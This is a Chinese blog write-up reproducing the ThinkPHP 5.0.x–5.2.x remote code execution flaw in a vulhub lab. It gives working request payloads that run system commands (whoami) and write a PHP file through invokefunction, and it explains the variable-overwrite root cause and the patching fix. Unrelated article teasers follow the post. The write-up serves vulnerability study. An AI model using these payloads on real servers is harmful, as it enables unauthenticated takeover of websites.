ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞

漏洞概述:

  • ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。

漏洞版本:

  • 5.0.x
  • 5.1.x
  • 5.2.x

漏洞搭建:

  • 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d
  • 5.1.x之后,必须在本地搭建,vulhub未提供。
  • 如图所示搭建成功,走起!
  • 在这里插入图片描述

漏洞复现:

  • 分两个版本5.0.x和5.1.x、5.2.x,分别验证。

1.版本5.0.x

  • 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
    -在这里插入图片描述

  • 成功执行命令

  • 针对于这个版本还有一个漏洞,主要由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的远程命令执行漏洞。

  • 远程执行命令payload(不唯一):s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

  • 写文件payload(不唯一):?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell1.php&vars[1][]=<?phpinfo();?>i

  • 在这里插入图片描述
    在这里插入图片描述

2.版本5.1.x、5.2.x

  • 这两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
  • Payload:a=system&b=whoami&_method=filter

在这里插入图片描述

漏洞修复:

  • 及时打补丁。
  • 前方道路坎坷,记得及时行乐。

总结:

  • 这两个版本的远程漏洞本质上都是变量覆盖漏洞,在一处存在缺陷的方法中没有对用户输入做严格判断,通过传递_method参数覆盖了配置文件的_method,导致可以访问Request类的任意函数,而在Request的构造函数中又创建了恶意的成员变量,导致后面的命令执行;而在5.1和5.2版本中则是直接覆盖过滤器,在忽略运行异常时可以触发漏洞,也是很棒棒,膜拜大佬!

ps:萌新一枚,余生很长,请多指教。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358424.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSDN如何上传视频?

最近想在CSDN上面上传视频&#xff0c;发现找不到入口&#xff0c;包含APP和PC端的博客&#xff0c;无奈之下只能咨询客服&#xff0c; 这个是需要提前申请讲师资格&#xff0c;需要3年以上相关经验。 发布纯IT类视频&#xff0c;先申请讲师&#xff0c;讲师申请 按照提示信息…

读《数学之美》第四章 谈谈分词

中文分词其实有点像古代的句读&#xff08;dou&#xff09;&#xff0c;韩愈的《师说》中就有&#xff1a;“彼童子之师&#xff0c;授之书而习其句读者也”。古人文章是没有标点符号的&#xff0c;行文一气呵成。如果不懂离经断句&#xff0c;就很难理解古文的意思。从某种程度…

【APICloud系列|17】百度开发者平台为了帮助开发者积极开展APP隐私合规风险排查工作, 准确高效的识别违规风险

前段时间开发了一款APP,最近有时间看看了一下自己的邮件。 发现一条比较有意思的。 申请入口 为什么会受到这个邮件呢,因为我安卓上架了华为应用商店、百度手机开放平台,小米应用商店,阿里应用分发平台、腾讯应用宝,360这个不谈,一个IOS的苹果应用商店。 这个只是针对那…

sphinx配置 + php

1. 为什么要使用Sphinx假设你现在运营着一个论坛&#xff0c;论坛数据已经超过100W&#xff0c;很多用户都反映论坛搜索的速度非常慢&#xff0c;那么这时你就可以考虑使用Sphinx了&#xff08;当然其他的全文检索程序或方法也行&#xff09;。 2. Sphinx是什么Sphinx由俄…

Java数字格式:DecimalFormat

在Java Numeric Formatting一文中 &#xff0c;我描述并演示了NumberFormat静态方法提供的一些有用实例&#xff0c;例如NumberFormat.getNumberInstance&#xff08;Locale&#xff09; &#xff0c; NumberFormat.getPercentInstance&#xff08;Locale&#xff09; &#xf…

微信公众号(订阅号)如何开通付费功能?

前几天看了一下启舰的一个视频中谈到他做自媒体的收入,我记得应该有一年30多万的收入,大概组成是微信公众号广告每个月2万*12个月。两本安卓书收取版权提成,根据出版量8%-10%不等,他一年的出版量在10000左右吧,每本书每个月大概有2000元的样子*12个月,还有一些B站及其他的…

Kunyu(坤舆)

本文转载于&#xff1a;https://www.anquanke.com/post/id/248802 0x00 介绍 工具介绍 Kunyu (坤舆)&#xff0c;名字取自 <坤舆万国全图> &#xff0c;测绘实际上是一个地理信息相关的专业学科&#xff0c;针对海里的、陆地的、天上的地理信息进行盘点。同样应用于网络…

rabbitmq——镜像队列

转自&#xff1a;http://my.oschina.net/hncscwc/blog/186350?p1 1. 镜像队列的设置 镜像队列的配置通过添加policy完成&#xff0c;policy添加的命令为&#xff1a; rabbitmqctl set_policy [-p Vhost] Name Pattern Definition [Priority] -p Vhost: 可选参数&#x…

微信订阅号如何开通付费功能

前几天看了一下启舰的一个视频中谈到他做自媒体的收入&#xff0c;我记得应该有一年30多万的收入&#xff0c;大概组成是微信公众号广告每个月2万*12个月。两本安卓书收取版权提成&#xff0c;根据出版量8%-10%不等&#xff0c;他一年的出版量在10000左右吧&#xff0c;每本书每…

实战sqlmap绕过WAF

本文转载于https://xz.aliyun.com/t/10385 实战演示 通过前期的信息收集发现存在注入的页面如下&#xff1a; 直接使用sqlmap跑发现出现如下错误&#xff1a; python2 sqlmap.py -u "http://xxxx?&daxxtaenull&paramexxxxxx" --batch --delay1 --random…

在Hibernate中使用存储过程

本文介绍了从休眠状态调用存储过程的不同方法。 JDBC操作将不涉及。 PostgreSQL将用作数据库。 CREATE DATABASE example;CREATE TABLE company (company_id BIGSERIAL PRIMARY KEY,name TEXT NOT NULL );CREATE TABLE benefit (benefit_id BIGSERIAL PRIMARY KEY,name TEXT,c…

C# 交错数组

C# 交错数组表示一个表格数据&#xff0c;行确定&#xff0c;但是每一行的列数不同&#xff0c;那么这个时候就可以使用交错数组。交错数组的本质是1个一维数组&#xff0c;只不过这个一维数组的元素的类型是一个数组。交错数组的声明元素的类型[] [] 数组的名称 new 元素的类…

QQ群群排名如何进行SEO优化?

QQ群排名有多个方面&#xff0c;比如你的qq群名称&#xff0c;人数&#xff0c;还有活跃度等等&#xff0c;很多因素影响你的群排名。下面给大家讲解如何做到搜索第一。第一&#xff1a;群名称群名称一定要和你搜索的关键词相匹配&#xff0c;比如我建的一个粉丝群“爱嵩阁”&a…

编辑器漏洞手册

简介 #2014年8月21日 最初的手册版本&#xff0c;是由北洋贱队的各位朋友收集整理。时隔4年&#xff0c;我们再次整理了这些文件。目的是希望这种传统能延续下去。我们相信&#xff1a;星星之火可以燎原。希望大家能多提建议&#xff0c;完善这份手册。 #2010年某月某日 创建这…

iOS学习 NSString常用技巧

字符串是程序设计最常用的数据类型之一了。在Mac/iPhone编程中&#xff0c;苹果为我们提供了一个不同的字符串类型NSString。有别与普通的String为数据类型&#xff0c;NSString其实是一个对象类型。NSString是NSObject(Cocoa Foundation的基础对象)的子类&#xff0c;所以具有…

Flash不同版本的下载安装及必要的系统组件未正常运行的解决办法

在一个外包平台刷入职培训视频&#xff0c;类似于慕课的课程&#xff0c;需要安装Flash才能播放。一般推荐谷歌浏览器&#xff0c;值得注意的是2020年12月&#xff0c;谷歌浏览器将不再支持flash flash官网 安装步骤 在百度搜索"flash"&#xff0c;点击Flash中国官…

UEditor 任意文件上传漏洞

1 漏洞简介 1.1 漏洞描述 Ueditor是百度开发的一个网站编辑器&#xff0c;目前已经不对其进行后续开发和更新&#xff0c;该漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响&#xff0c;.net存在任意文件上传&#xff0c;绕过文件格式的限制…

如何设计类和接口

本文是我们名为“ 高级Java ”的学院课程的一部分。 本课程旨在帮助您最有效地使用Java。 它讨论了高级主题&#xff0c;包括对象创建&#xff0c;并发&#xff0c;序列化&#xff0c;反射等。 它将指导您完成Java掌握的过程&#xff01; 在这里查看 &#xff01; 目录 1.简…

HDU 3072 SCC Intelligence System

给出一个带权有向图&#xff0c;要使整个图连通。SCC中的点之间花费为0&#xff0c;所以就先缩点&#xff0c;然后缩点后两点之间的权值为最小边的权值&#xff0c;把这些权值累加起来就是答案。 1 #include <iostream>2 #include <cstdio>3 #include <algorith…